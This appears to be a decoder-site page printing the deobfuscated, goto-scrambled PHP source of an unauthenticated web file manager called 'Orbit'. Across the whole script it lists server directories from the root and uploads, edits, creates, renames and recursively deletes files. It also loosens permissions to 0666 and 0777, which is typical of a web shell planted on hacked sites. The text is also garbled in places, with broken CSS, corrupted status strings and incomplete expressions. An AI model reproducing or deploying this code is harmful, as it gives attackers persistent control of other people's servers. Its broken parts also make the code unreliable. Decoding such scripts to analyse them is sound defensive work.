Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto f7JyX;
 oL3fa: a7DfS($JQewE, ["k" => "x", "t" => "err"]);
 goto cN5z6;
	 uparF: function MFP1W($aza3T) {
	 goto CS31u;
	 E8oUZ: $vJrBi = '';
	 goto gmmhU;
	 gGBJk: @fclose($VYz8_);
	 goto DI2a_;
	 gmmhU: XeSdj: goto urt2o;
		 EV8Ic: if ($VYz8_) {
		 goto B73eo;
		 
	}
	 goto O2REA;
	 JbFE1: B73eo: goto E8oUZ;
	 O2REA: return false;
	 goto JbFE1;
	 MDvQq: $qVi10 = @fread($VYz8_, 65536);
	 goto SLvy6;
		 urt2o: if (feof($VYz8_)) {
		 goto Ca2m3;
		 
	}
	 goto MDvQq;
	 bbaVl: Ca2m3: goto MBBmM;
	 s5M8C: $VYz8_ = @fopen($aza3T, "rb");
	 goto EV8Ic;
	 AfeiZ: $vJrBi .= $qVi10;
	 goto PPoA6;
	 RBiVC: return false;
	 goto Ge3Tx;
	 Ge3Tx: W55xY: goto s5M8C;
	 DI2a_: return false;
	 goto flHZD;
		 CS31u: if (!(!is_file($aza3T) || !is_readable($aza3T))) {
		 goto W55xY;
		 
	}
	 goto RBiVC;
	 flHZD: xiSih: goto AfeiZ;
	 MBBmM: @fclose($VYz8_);
	 goto F1SWB;
	 PPoA6: goto XeSdj;
	 goto bbaVl;
	 F1SWB: return $vJrBi;
	 goto Htu2A;
		 SLvy6: if (!($qVi10 === false)) {
		 goto xiSih;
		 
	}
	 goto gGBJk;
	 Htu2A: 
}
 goto M91fj;
 E_zSF: echo pkKhI($rEOYZ);
 goto ulEat;
 vi56V: gx97s: goto ar4fB;
	 epJSO: if (!isset($_POST["rmf"])) {
	 goto T4oFd;
	 
}
 goto uCCvl;
 XdUxf: echo "</span><span class="pill">cwd ";
 goto YW2lZ;
 GOAtK: $IkyNW = $JQewE . DIRECTORY_SEPARATOR . $aza3T;
 goto kyqul;
 p8nMe: A7dfS($JQewE, ["k" => "4"]);
 goto TG5zh;
 jqTHG: dGB0E: goto vi56V;
 aWZ85: echo "</div>";
 goto bITe7;
 FcuvT: echo PkKhI($TFe0M);
 goto GQPWq;
 hvotZ: a7dfs($JQewE, ["k" => "9", "t" => "err"]);
 goto lzQiy;
 TBrUO: @chmod($IkyNW, 0666);
 goto N6R4a;
	 MH0yK: if (!file_exists($IkyNW)) {
	 goto fRTVW;
	 
}
 goto bkXSO;
 zOhic: $ajdwR = null;
 goto ZnI_D;
 bT6IE: a7dFS($JQewE, ["k" => "9", "t" => "err"]);
 goto uU0L0;
 TRqUv: A7DfS($JQewE, ["k" => "2", "do" => "edit", "f" => $TFe0M]);
 goto vhMiZ;
 NU184: $UtU3v = $_GET["pt"] ?? null;
 goto rM_Fj;
	 hQAIr: if (!j5nYL($IkyNW, $qVi10)) {
	 goto mWg9S;
	 
}
 goto TRqUv;
 keGp4: Kx3Xe: goto mpfdZ;
 Gfbl1: $TFe0M = $_GET["f"] ?? '';
 goto M2beE;
 PB9DQ: A7dFS($JQewE, ["k" => "x", "t" => "err", "do" => "edit", "f" => $TFe0M]);
 goto v3MQi;
 DNqGG: echo "<tr><td colspan='5'>no access</td></tr>";
 goto rQBh9;
 UffqY: $ror5f = $JQewE . DIRECTORY_SEPARATOR . $HZK3B;
 goto NuZaL;
 rQBh9: y7rSB: goto t0kSU;
 uU0L0: oRSZC: goto J30Xr;
 rM_Fj: $gnRIf = "/";
 goto hHs0K;
 N6R4a: CgLbU: goto QCiNk;
 UeHmH: a7DFs($JQewE, ["k" => "x", "t" => "err"]);
 goto PQZqp;
	 SjLMB: if (!j5NYl($IkyNW, $qVi10)) {
	 goto LmsVv;
	 
}
 goto djb0G;
 il5KT: s24zE: goto vnxZv;
 VFTZc: $ntHjf = ["1" => "Fsreated.", "2" => "aved.", "3" => "femoved.", "4" => "freated.", "5" => "femoved.", "6" => "fnad.", "7" => "uomplete.", "9" => "mnvalid dtem.", "x" => "we failed. permi"];
 goto d9RKi;
 Ym99n: A7DFs($JQewE, ["k" => "x", "t" => "err"]);
 goto Y3cSH;
 RzxIQ: a7dFs($JQewE, ["k" => "3"]);
 goto j3Lbo;
	 ZaYVB: echo " <!doctype html><html lang="en"><head><meta charset="utf-8"/><meta name="viewport"content="width=device-width,initial-scale"/><title>Orbit</title> <style>*{
	box-sizing:border-box
}
	html,body{
	margin;
	padding:0
}
	body{
	background:#fdfdfd;
	color:#0f10;
	font3px/1.55 ui-sans-serif,system-ui,Segoe UI,Roboto,Ubuntu,Helvetica,Arial
}
	.c0{
	max-width:10px;
	margin:20px auto;
	padding 12px
}
	.c1{
	display:flex;
	justify-content:space-between;
	align-items:center;
	background:#fff;
	borderpx solid #e9e9ee;
	border-radius:18px;
	padding:14px 16px;
	box-shadow:0 8px4px rgba(0,0,0,.05)
}
	.t0{
	font-weight:8;
	letter-spacing:.3px
}
	.crumb{
	font-size:12px;
	color:670
}
	.pill{
	display:inline-block;
	background:#f6f7fb;
	border:1px solid #ececf2;
	border-radius:999px;
	padding:rrem .55rem;
	margin-left:.35rem
}
	.msg{
	margin4px 0;
	padding:10px 12px;
	border-radius2px;
	border:1px solid #ececf2
}
	.ok{
	background:#ecfdf5;
	border-color:#a7f3d0
}
	.err{
	background:#fff1f2;
	border-color:#fecdd3
}
	.card{
	background:#fff;
	border:1px solid #ececf2;
	border-radius6px;
	padding:14px;
	box-shadow:0 8px 24px rgba(0`,0,p5);
	margin-top:px
}
	.btn{
	appearance:none;
	background:#0be5;
	color:#fff;
	border:0;
	border-radius0px;
	padding:8px2px;
	cursor:pointer
}
	.btn:hover{
	filter:brightnessAp6)
}
	.in,textarea{
	widthр%;
	borderpx solid #e2e4ea;
	border-radius:10px;
	padding:px;
	background:#fff;
	color:#0f1720
}
	.tbl{
	width:0%;
	border-collapse:collapse
}
	.tbl th,.tbl td{
	border-bottom:1px solid #f0f0f3;
	padding:8px 6px;
	text-align:left
}
	.l0{
	height:1px;
	background:#efeff3;
	margin:px 0
}
	.grid{
	display:grid;
	grid-template-columns:repeat(auto-fit,minmaxB60px,1fr));
	gap:12px
}
</style> </head><body><div class="c0"> <header class="c1"> <div class="t0">Orbit</div> <div class="crumb">";
 goto YTtLF;
 hHs0K: $JQewE = $UtU3v !== null ? JhUh3(TfwkV($UtU3v, $gnRIf), $gnRIf) : Jhuh3($XWyC_, $gnRIf);
 goto IC78H;
	 mZoDo: if (!(($_GET["t"] ?? '') === "err")) {
	 goto PQeaj;
	 
}
 goto GMUte;
 vhMiZ: mWg9S: goto QSj5m;
 mQN0M: BgQAr: goto AWD1f;
 Tul07: A7DFS($JQewE, ["k" => "9", "t" => "err"]);
 goto kpEN_;
 saCER: a7DfS($JQewE, ["k" => "9", "t" => "err"]);
 goto TWv2_;
	 OuYVe: function jhUH3($Eky3U, $gnRIf) {
	 goto IyseB;
	 qSQbz: sGAAE: goto Xr5uZ;
		 u02MS: if (!($OcyyA !== false && strpos($OcyyA, $gnRIf) === 0)) {
		 goto ig2dL;
		 
	}
	 goto rPD_0;
	 QiW_N: goto KwbNJ;
	 goto HM7NC;
	 ZqYBc: $MePvB = DIRECTORY_SEPARATOR . implode(DIRECTORY_SEPARATOR, $XWyC_);
	 goto QiW_N;
	 A8uU2: KwbNJ: goto eLzvA;
	 wHKZZ: lei8v: goto uQer1;
		 EaUox: if (!is_file($MePvB)) {
		 goto lei8v;
		 
	}
	 goto lonI1;
	 uQer1: return rtrim($MePvB, DIRECTORY_SEPARATOR);
	 goto YghjH;
	 HM7NC: JJw3P: goto wKw_4;
	 pu3Tu: ig2dL: goto EaUox;
	 KHqpD: USdSl: goto JGEUA;
	 tOpCR: sSIoO: goto M9fhy;
	 IyseB: $Eky3U = str_replace("\0", '', (string) $Eky3U);
	 goto BmE4M;
	 gE5u_: return getcwd();
	 goto CNq3n;
		 Xr5uZ: if (DIRECTORY_SEPARATOR === "\" && preg_match("#^[A-Za-z]:#", $XWyC_[0] ?? '')) {
		 goto JJw3P;
		 
	}
	 goto ZqYBc;
	 rPD_0: $MePvB = $OcyyA;
	 goto pu3Tu;
	 CNq3n: YWnku: goto ttELv;
		 SLQVW: if (!($Eky3U === '' || $Eky3U ===  || $Eky3U === "/" || $Eky3U === "\")) {
		 goto YWnku;
		 
	}
	 goto gE5u_;
	 lonI1: $MePvB = dirname($MePvB);
	 goto wHKZZ;
	 efhGk: $x2d1S = str_replace(["/", "\"], DIRECTORY_SEPARATOR, $x2d1S);
	 goto Z6CQL;
	 XaYIb: goto sSIoO;
	 goto KHqpD;
	 BmE4M: $Eky3U = trim($Eky3U);
	 goto SLQVW;
	 ttELv: $x2d1S = rawurldecode($Eky3U);
	 goto efhGk;
	 M9fhy: $XWyC_ = [];
	 goto Vve0a;
	 wKw_4: $MePvB = implode(DIRECTORY_SEPARATOR, $XWyC_);
	 goto A8uU2;
		 Z6CQL: if (!preg_match("#^([A-Za-z]:|" . preg_quote(DIRECTORY_SEPARATOR, "#") . ")#", $x2d1S)) {
		 goto USdSl;
		 
	}
	 goto rV42L;
		 Vve0a: foreach (explode(DIRECTORY_SEPARATOR, $LqYAi) as $joWRp) {
		 goto f8hfd;
		 SdkEk: array_pop($XWyC_);
		 goto VxW4i;
		 Mks5l: unVom: goto kA1cE;
		 OjcR7: dLYs1: goto paSOt;
			 BtkA8: if (!($joWRp === "..")) {
			 goto dLYs1;
			 
		}
		 goto SdkEk;
			 f8hfd: if (!($joWRp === '' || $joWRp === )) {
			 goto OQ55d;
			 
		}
		 goto FVxSb;
		 Pimea: OQ55d: goto BtkA8;
		 FVxSb: goto unVom;
		 goto Pimea;
		 VxW4i: goto unVom;
		 goto OjcR7;
		 paSOt: $XWyC_[] = $joWRp;
		 goto Mks5l;
		 kA1cE: 
	}
	 goto qSQbz;
	 eLzvA: $OcyyA = @realpath($MePvB);
	 goto u02MS;
	 rV42L: $LqYAi = $x2d1S;
	 goto XaYIb;
	 JGEUA: $LqYAi = rtrim($gnRIf, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . ltrim($x2d1S, DIRECTORY_SEPARATOR);
	 goto tOpCR;
	 YghjH: 
}
 goto uparF;
	 YhE_I: if (is_file($IkyNW)) {
	 goto BgQAr;
	 
}
 goto TWT1j;
 JqLtP: echo pkkhI($cRXTU);
 goto nmMvO;
 Y1sJe: echo PKkHi($ajdwR);
 goto aWZ85;
	 FTP0d: if (!isset($_POST["mkd"])) {
	 goto KQ3bU;
	 
}
 goto yNLk2;
	 Z77A1: if (!isset($_POST["rmd"])) {
	 goto cmeJw;
	 
}
 goto fpss0;
 XABam: A7dFS($JQewE, ["k" => "9", "t" => "err"]);
 goto Yhmz5;
 gKFon: $IkyNW = $JQewE . DIRECTORY_SEPARATOR . $MePvB;
 goto QS14a;
 GQPWq: echo "</span></div> <textarea name="payload"rows="18">";
 goto JqLtP;
 mpfdZ: A7dFS($JQewE, ["k" => "x", "t" => "err"]);
 goto y2SA8;
 xlivt: $cRXTU = MFP1w($ZB2wO);
 goto jIrb5;
 qwhPM: LmsVv: goto UeHmH;
	 VTqqx: if (!$ajdwR) {
	 goto Akz10;
	 
}
 goto mwN0c;
 tuGWo: A7DFs($JQewE, ["k" => "9", "t" => "err"]);
 goto l3a0R;
	 jNZEy: function a7Dfs($aSOMo, $Q5PPH = array()) {
	 goto wEQdo;
	 T1FLm: $JQewE = JHuH3($aSOMo, $gnRIf);
	 goto VH1BJ;
	 UoriT: $UtU3v = aWLlo($aSOMo);
	 goto pjw8X;
	 VH1BJ: $_POST = [];
	 goto zbgVB;
	 pjw8X: $_GET = $Q5PPH + ["pt" => $UtU3v];
	 goto T1FLm;
	 wEQdo: global $_GET, $JQewE, $UtU3v, $gnRIf;
	 goto UoriT;
	 zbgVB: $_SERVER["REQUEST_METHOD"] = "GET";
	 goto Rw2bN;
	 Rw2bN: 
}
 goto OuYVe;
	 DTc9R: if (Vph1x($aza3T["tmp_name"], $DJ0qa)) {
	 goto ejK_s;
	 
}
 goto Qbs_F;
	 HXAXg: function PkKhi($joWRp) {
	 return strtr((string) $joWRp, ["&" => "&amp;
	", "<" => "&lt;
	", ">" => "&gt;
	", """ => "&quot;
	", "'" => "&#039;
	"]);
	 
}
 goto jNZEy;
 TWv2_: EJYqL: goto UffqY;
 jIrb5: echo " ";
 goto A6id9;
 djb0G: A7DfS($JQewE, ["k" => "1"]);
 goto qwhPM;
 vnxZv: a7dFs($JQewE, ["k" => "x", "t" => "err"]);
 goto ug7ZL;
 kd4WM: $qVi10 = (string) ($_POST["payload"] ?? '');
 goto JEajD;
	 kyqul: if (!(is_file($IkyNW) && @unlink($IkyNW))) {
	 goto Thun2;
	 
}
 goto RzxIQ;
 y2SA8: DXt7o: goto epJSO;
 v3MQi: AjxBn: goto hQAIr;
 mwN0c: echo "<div class="msg ";
 goto E_zSF;
 yAobV: $IkyNW = $JQewE . DIRECTORY_SEPARATOR . $x2d1S;
 goto Gp8vW;
	 efPjX: if (!isset($_POST["mv"])) {
	 goto DXt7o;
	 
}
 goto rt1C7;
 NuZaL: $sbRc1 = $JQewE . DIRECTORY_SEPARATOR . $b8LWB;
 goto ihx5a;
 fPM6B: echo "</div> <div><span class="pill">root ";
 goto ZXbs9;
	 QnUF3: if ($PMj41 === false) {
	 goto Ky264;
	 
}
 goto tV5A5;
 wDV7n: $PMj41 = @scandir($JQewE);
 goto QnUF3;
	 rUNyl: if (!isset($_FILES["bu"])) {
	 goto aEV1M;
	 
}
 goto gpxNY;
 bITe7: Akz10: goto AWMBf;
 ulEat: echo "">";
 goto Y1sJe;
	 MTx0V: function l8vKm($BiiQq) {
	 return is_numeric($BiiQq) ? number_format((float) $BiiQq) . " bytes" : "-";
	 
}
 goto iKQTX;
 sIgNT: ejK_s: goto wcHGp;
 QSj5m: a7dFs($JQewE, ["k" => "x", "t" => "err", "do" => "edit", "f" => $TFe0M]);
 goto liQH8;
 EUFdY: aEV1M: goto F6cj8;
	 CEC9j: if (!($_SERVER["REQUEST_METHOD"] === "POST")) {
	 goto GNg13;
	 
}
 goto rUNyl;
	 JEajD: if (!($MePvB === '')) {
	 goto MvU9a;
	 
}
 goto hvotZ;
 TG5zh: iI1Ld: goto Ym99n;
 TWT1j: A7dFS($JQewE, ["k" => "9", "t" => "err"]);
 goto mQN0M;
	 lW1eW: function T2HQy($Wokkh, $gnRIf) {
	 goto coYVT;
	 w_XZG: $qv8a3 = $LmPkW === '' ? [] : array_values(array_filter(explode("/", $LmPkW)));
	 goto C_qNg;
	 DVDUo: $ztvdq = array_values(array_filter(explode("/", trim($XWyC_, "/"))));
	 goto LGfaj;
		 UBS4L: foreach ($ztvdq as $joWRp) {
		 goto ZSwkl;
		 LnFDA: UR4_P: goto ioOdB;
		 ZSwkl: $PTqq1 .= ($PTqq1 === '' ? '' : "/") . $joWRp;
		 goto LcvZP;
		 LcvZP: $ror5f[] = Fq_uQ($PTqq1, $joWRp);
		 goto LnFDA;
		 ioOdB: 
	}
	 goto qyBDJ;
	 qyBDJ: sQ8G9: goto c_dOs;
	 x29z9: $Eky3U = str_replace("\", "/", $gnRIf);
	 goto ZeSCL;
		 tLlUQ: foreach ($qv8a3 as $joWRp) {
		 goto lX6Ga;
		 GPq1_: $ror5f[] = fQ_UQ($CxJMn, $joWRp);
		 goto Up9sc;
		 lX6Ga: $CxJMn = rtrim($CxJMn, "/\") . DIRECTORY_SEPARATOR . $joWRp;
		 goto GPq1_;
		 Up9sc: MS1__: goto EaC9Q;
		 EaC9Q: 
	}
	 goto VGBhV;
	 Iwe2X: Zvjy0: goto DVDUo;
	 C_qNg: $ror5f = [];
	 goto y53Ek;
	 coYVT: $XWyC_ = str_replace("\", "/", $Wokkh);
	 goto x29z9;
	 hes0W: $LmPkW = ltrim(substr($XWyC_, strlen($Eky3U)), "/");
	 goto w_XZG;
	 y53Ek: $ror5f[] = FQ_uQ($Eky3U, "/");
	 goto ieY9Q;
	 LGfaj: $PTqq1 = '';
	 goto CcHou;
	 flCaJ: return implode(" <span class=\"gsep\">›</span> ", $ror5f);
	 goto Iwe2X;
	 CcHou: $ror5f = [];
	 goto UBS4L;
	 c_dOs: return implode(" <span class=\"gsep\">›</span> ", $ror5f);
	 goto iShsz;
	 VGBhV: JntMq: goto flCaJ;
		 ZeSCL: if (!(strpos($XWyC_, $Eky3U) === 0)) {
		 goto Zvjy0;
		 
	}
	 goto hes0W;
	 ieY9Q: $CxJMn = $Eky3U;
	 goto tLlUQ;
	 iShsz: 
}
 goto VFTZc;
 cN5z6: T4oFd: goto Z77A1;
 gpxNY: $aza3T = $_FILES["bu"];
 goto cpY87;
	 ZnI_D: if (!($pE7RY !== '' && array_key_exists($pE7RY, $ntHjf))) {
	 goto OCyGY;
	 
}
 goto TE1I4;
 l9ifL: echo " <form method="post"class="card"> <div class="t0"style="font-size:16px">revise <span class="pill">";
 goto FcuvT;
 f7JyX: session_start();
 goto QJ7Qh;
	 cplnQ: function vYozr($XWyC_) {
	 return substr(sprintf("%o", $XWyC_), -4);
	 
}
 goto MTx0V;
	 AWD1f: if (is_writable($IkyNW)) {
	 goto CgLbU;
	 
}
 goto TBrUO;
 gMpV9: GNg13: goto ZaYVB;
 ZSf30: DpZ0i: goto WpbYP;
 wcHGp: a7dfS($JQewE, ["k" => "7"]);
 goto R4HO2;
 qR47e: $rEOYZ = "ok";
 goto zOhic;
 cpY87: $DJ0qa = rtrim($JQewE, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . basename($aza3T["name"]);
 goto Qmkf5;
 YTtLF: echo t2hqY($JQewE, $gnRIf);
 goto fPM6B;
 ZXbs9: echo pkkHI($gnRIf);
 goto XdUxf;
 l3a0R: xKeEp: goto Rs3w8;
 uCCvl: $aza3T = basename(trim((string) ($_POST["n"] ?? '')));
 goto Kfjko;
 klFiq: $qVi10 = (string) ($_POST["payload"] ?? '');
 goto YhE_I;
	 iKQTX: function fQ_uq($Wokkh, $pDQu9) {
	 return "<a class='link' href='?pt=" . pKKhi(AWLlO($Wokkh)) . "'>" . pkkHi($pDQu9) . "</a>";
	 
}
 goto lW1eW;
 v37Q6: echo "</span></div> </header> ";
 goto VTqqx;
 d9RKi: $XWyC_ = $_GET["p"] ?? '';
 goto wfYCt;
	 JjjXn: function TFWKv($IyC1X, $x2d1S) {
	 return $_SESSION["mader"][$IyC1X] ?? $x2d1S;
	 
}
 goto HXAXg;
 qTnim: a7dFs($JQewE, ["k" => "5"]);
 goto OqJ0v;
 wfYCt: $YqEDk = $_GET["do"] ?? '';
 goto Gfbl1;
 Yhmz5: goto vvCX_;
 goto sIgNT;
 yNLk2: $MePvB = basename(trim((string) ($_POST["name"] ?? '')));
 goto yauSu;
	 Cj4oW: if (!($x2d1S !== '')) {
	 goto s24zE;
	 
}
 goto yAobV;
 J85Pn: OCyGY: goto s6U7M;
 rt1C7: $b8LWB = basename(trim((string) ($_POST["to"] ?? '')));
 goto WlaLC;
 fpss0: $x2d1S = basename(trim((string) ($_POST["n"] ?? '')));
 goto Cj4oW;
 nmMvO: echo "</textarea> <div style="margin-top:10px"><button class="btn"type="submit"name="save">commit</button></div></form> ";
 goto dnHyw;
	 Gp8vW: if (!(is_dir($IkyNW) && okEGB($IkyNW))) {
	 goto lntkS;
	 
}
 goto qTnim;
 QPNG2: a7dfs($JQewE, ["k" => "6"]);
 goto keGp4;
 uh1Lu: Ky264: goto DNqGG;
 PQZqp: M2CN3: goto FTP0d;
	 M91fj: function J5nyl($aza3T, $x2d1S) {
	 goto RvHGf;
	 R2vqq: @flock($VYz8_, LOCK_EX);
	 goto RWDmw;
	 C2cSs: return $UefZq !== false;
	 goto sKCVK;
	 RWDmw: $UefZq = @fwrite($VYz8_, $x2d1S);
	 goto pkq4y;
	 pkq4y: @flock($VYz8_, LOCK_UN);
	 goto nyFHa;
	 eftXY: GMOCL: goto scdjS;
	 scdjS: $VYz8_ = @fopen($aza3T, "wb");
	 goto yuTXQ;
	 Vux2B: return false;
	 goto FrS0k;
		 MClve: if (!(!is_dir($o1cuT) || !is_writable($o1cuT))) {
		 goto GMOCL;
		 
	}
	 goto Whzov;
		 yuTXQ: if ($VYz8_) {
		 goto OSdZq;
		 
	}
	 goto Vux2B;
	 RvHGf: $o1cuT = dirname($aza3T);
	 goto MClve;
	 Whzov: return false;
	 goto eftXY;
	 nyFHa: @fclose($VYz8_);
	 goto C2cSs;
	 FrS0k: OSdZq: goto R2vqq;
	 sKCVK: 
}
 goto rX1S5;
 d7s2d: $ZB2wO = rtrim($JQewE, "\/") . DIRECTORY_SEPARATOR . $TFe0M;
 goto xlivt;
 TE1I4: $ajdwR = $ntHjf[$pE7RY];
 goto mZoDo;
	 tV5A5: foreach ($PMj41 as $Vq_10) {
	 goto aqUJO;
	 d_xrq: tuMt8: goto uB7b7;
	 Cuqrt: $I9_lI = $GPyyA !== false ? VyozR($GPyyA) : "----";
	 goto S4KtE;
	 LsFBJ: $GPyyA = @fileperms($aza3T);
	 goto Cuqrt;
	 IwdwL: echo "</td></tr>";
	 goto rHV8A;
	 z7x2d: $faN9F = is_dir($aza3T);
	 goto LsFBJ;
	 Ehlai: Ynoan: goto IwdwL;
	 uMCNp: goto ly36T;
	 goto IW0Qw;
	 rHV8A: ly36T: goto u0sal;
	 oRsDc: echo "<form method='post'style='display:inline;
	margin-left:6px'><input type='hidden'name='mv'value=9'><input type='hidden'name='from'value='" . pkKHi($Vq_10) . "'><input class='in'style='width:160px'name='to'placeholder='rename to'> <button class='btn'type='submit'>rename</button></form>";
	 goto Ehlai;
	 A2JKy: goto Ynoan;
	 goto d_xrq;
		 aqUJO: if (!($Vq_10 ===  || $Vq_10 === "..")) {
		 goto ZNCbN;
		 
	}
	 goto uMCNp;
	 fqSEq: echo Fq_uQ($aza3T, $Vq_10);
	 goto nB4a8;
	 ZC6i7: echo "<form method='post'style='display:inline'onsubmit="return confirm('delete file?')"><input type='hidden'name='rmf'value=9'><input type='hidden'name='n'value='" . PkKhi($Vq_10) . "'><button class='btn'type='submit'>delete</button></form> ";
	 goto is_uO;
	 E7JiV: o3eD2: goto fqSEq;
	 IW0Qw: ZNCbN: goto aqNtZ;
		 XbARd: echo "</td><td>{
		$gLinA
	}
		</td><td>{
		$I9_lI
	}
		</td><td>{
		$vjuNx
	}
	</td><td>";
	 goto Xa_qB;
		 EgejM: if ($faN9F) {
		 goto o3eD2;
		 
	}
	 goto CALNA;
	 S4KtE: $gLinA = $faN9F ? "-" : l8vkm(@filesize($aza3T));
	 goto wp4Vd;
	 CALNA: echo pkKhi($Vq_10);
	 goto OTXB8;
	 t7Lp1: echo "<tr><td>";
	 goto EgejM;
	 OTXB8: goto ywW7n;
	 goto E7JiV;
	 wp4Vd: $vjuNx = @date("Y-m-d H:i", @filemtime($aza3T));
	 goto t7Lp1;
	 is_uO: echo "<form method='post'style='display:inline;
	margin-leftpx'><input type='hidden'name='mv'value='1'><input type='hidden'name='from'value='" . PKKhI($Vq_10) . "'><input class='in'style='width:0px'name='to'placeholder='rename to'> <button class='btn'type='submit'>rename</button></form>";
	 goto A2JKy;
	 uB7b7: echo "<form method='post'style='display:inline'onsubmit="return confirm('remove contents?')"><input type='hidden'name='rmd'value='1'><input type='hidden'name='n'value='" . PKKHi($Vq_10) . "'><button class='btn'type='submit'>delete</button></form> ";
	 goto oRsDc;
	 ir_7A: echo "<a class='link'style='margin-right:8px'href='?pt=" . pkKHi(AwlLo($JQewE)) . "&do=edit&f=" . urlencode($Vq_10) . "'>open</a>";
	 goto ZC6i7;
	 nB4a8: ywW7n: goto XbARd;
	 aqNtZ: $aza3T = $JQewE . DIRECTORY_SEPARATOR . $Vq_10;
	 goto z7x2d;
		 Xa_qB: if ($faN9F) {
		 goto tuMt8;
		 
	}
	 goto ir_7A;
	 u0sal: 
}
 goto ZSf30;
 Or1PM: qC0d2: goto oL3fa;
 kpEN_: XGGjz: goto gKFon;
 ug7ZL: cmeJw: goto gMpV9;
	 F6cj8: if (!isset($_POST["mkf"])) {
	 goto M2CN3;
	 
}
 goto kHXUj;
	 Jk1Gf: if (!($b8LWB === '' || $HZK3B === '')) {
	 goto EJYqL;
	 
}
 goto saCER;
 kHXUj: $MePvB = basename(trim((string) ($_POST["name"] ?? '')));
 goto kd4WM;
	 Rs3w8: if (!@rename($ror5f, $sbRc1)) {
	 goto Kx3Xe;
	 
}
 goto QPNG2;
	 yauSu: if (!($MePvB === '')) {
	 goto XGGjz;
	 
}
 goto Tul07;
	 Kfjko: if (!($aza3T !== '')) {
	 goto qC0d2;
	 
}
 goto GOAtK;
 WlaLC: $HZK3B = basename(trim((string) ($_POST["from"] ?? '')));
 goto Jk1Gf;
 OqJ0v: lntkS: goto il5KT;
	 QS14a: if (!file_exists($IkyNW)) {
	 goto oRSZC;
	 
}
 goto bT6IE;
	 Qmkf5: if ($aza3T["error"] !== UPLOAD_ERR_OK || !is_uploaded_file($aza3T["tmp_name"])) {
	 goto zRwHr;
	 
}
 goto DTc9R;
 P1AMx: PzjW1: goto G13yv;
 FGlzD: fRTVW: goto SjLMB;
	 ppbXt: if (!($YqEDk === "edit" && $TFe0M !== '')) {
	 goto gx97s;
	 
}
 goto d7s2d;
	 H1FqF: function aWLLo($Wokkh) {
	 goto fgDBa;
	 BIqjh: $_SESSION["mader"][$BiiQq] = $Wokkh;
	 goto mg_6G;
	 fgDBa: $BiiQq = bin2hex(random_bytes(8));
	 goto BIqjh;
	 mg_6G: return $BiiQq;
	 goto pwbyr;
	 pwbyr: 
}
 goto JjjXn;
 SsBUX: zRwHr: goto XABam;
 rO5G5: goto vvCX_;
 goto SsBUX;
 mi9sS: $IkyNW = $JQewE . DIRECTORY_SEPARATOR . $MePvB;
 goto MH0yK;
 bkXSO: A7dFs($JQewE, ["k" => "9", "t" => "err"]);
 goto FGlzD;
 AWMBf: echo " <div class="grid"> <form method="post" enctype="multipart/form-data" class="card"> <div class="t0"style="font-size:16px">ingest</div> <input class="in"type="file"name="bu"/> <div style="margin-top:8px"><button class="btn"type="submit">send</button></div></form> <form method="post"class="card"> <div class="t0"style="font-size:16px">fresh item</div> <input class="in"name="name"placeholder="file.ext"/> <textarea name="payload"rows="6"placeholder="content (opt)"></textarea> <div style="margin-top:8px"><button class="btn"type="submit"name="mkf">create</button></div></form> <form method="post"class="card"> <div class="t0"style="font-size6px">fresh dir</div> <input class="in"name="name"placeholder="folder"/> <div style="margin-top:8px"><button class="btn"type="submit"name="mkd">create</button></div></form> </div> ";
 goto ppbXt;
 M2beE: $moh16 = $_GET["d"] ?? '';
 goto NU184;
 lzQiy: MvU9a: goto mi9sS;
 ar4fB: echo " <div class="card"style="margin-top4px"> <div class="t0"style="font-size6px;
margin-bottom:8px">items</div> <table class="tbl"> <tr><th>name</th><th>size</th><th>perm</th><th>modified</th><th>actions</th></tr> ";
 goto wDV7n;
	 ihx5a: if (!(!file_exists($ror5f) || file_exists($sbRc1))) {
	 goto xKeEp;
	 
}
 goto tuGWo;
 YW2lZ: echo PKkHI($JQewE);
 goto v37Q6;
 dnHyw: goto dGB0E;
 goto P1AMx;
 R4HO2: vvCX_: goto EUFdY;
 GMUte: $rEOYZ = "err";
 goto FXYSC;
	 r06_9: if (!(isset($_POST["save"]) && $TFe0M !== '')) {
	 goto aSyZf;
	 
}
 goto UZKMP;
 j3Lbo: Thun2: goto Or1PM;
	 J30Xr: if (!@mkdir($IkyNW, 0777, true)) {
	 goto iI1Ld;
	 
}
 goto p8nMe;
	 rX1S5: function OKEGb($x2d1S) {
	 goto WguF4;
	 VVH8w: fkOJA: goto CegNY;
	 eI2m9: KzkDb: goto mqojB;
		 mqojB: foreach ($pDQu9 as $LqYAi) {
		 goto jkNuu;
		 axcDP: BjDd4: goto vMRes;
			 WuZ7Q: if (is_dir($IkyNW)) {
			 goto x4_Ac;
			 
		}
		 goto jisai;
		 cY3KJ: USatq: goto UuH9_;
		 yCBDf: goto t0v0B;
		 goto o1wQ4;
		 ijs3A: aSU6C: goto yCBDf;
		 o1wQ4: x4_Ac: goto idX7S;
			 jkNuu: if (!($LqYAi ===  || $LqYAi === "..")) {
			 goto BjDd4;
			 
		}
		 goto yUSaL;
		 yUSaL: goto fhHx1;
		 goto axcDP;
			 idX7S: if (okegb($IkyNW)) {
			 goto USatq;
			 
		}
		 goto E1J7q;
		 kqcPr: return false;
		 goto ijs3A;
		 vMRes: $IkyNW = $x2d1S . DIRECTORY_SEPARATOR . $LqYAi;
		 goto WuZ7Q;
			 jisai: if (@unlink($IkyNW)) {
			 goto aSU6C;
			 
		}
		 goto kqcPr;
		 vOm65: fhHx1: goto pINPC;
		 E1J7q: return false;
		 goto cY3KJ;
		 UuH9_: t0v0B: goto vOm65;
		 pINPC: 
	}
	 goto W92MC;
	 pBqv5: return false;
	 goto eI2m9;
	 h1q3U: return @rmdir($x2d1S);
	 goto a5R0Z;
		 WguF4: if (is_dir($x2d1S)) {
		 goto fkOJA;
		 
	}
	 goto LvB63;
	 LvB63: return false;
	 goto VVH8w;
	 CegNY: $pDQu9 = @scandir($x2d1S);
	 goto ub1om;
	 W92MC: EfkpT: goto h1q3U;
		 ub1om: if (!($pDQu9 === false)) {
		 goto KzkDb;
		 
	}
	 goto pBqv5;
	 a5R0Z: 
}
 goto cplnQ;
 IC78H: $pE7RY = $_GET["k"] ?? '';
 goto qR47e;
 QJ7Qh: $_SESSION["mader"] = $_SESSION["mader"] ?? [];
 goto H1FqF;
 FXYSC: PQeaj: goto J85Pn;
 WpbYP: goto y7rSB;
 goto uh1Lu;
	 A6id9: if ($cRXTU === false) {
	 goto PzjW1;
	 
}
 goto l9ifL;
	 QCiNk: if (is_writable($IkyNW)) {
	 goto AjxBn;
	 
}
 goto PB9DQ;
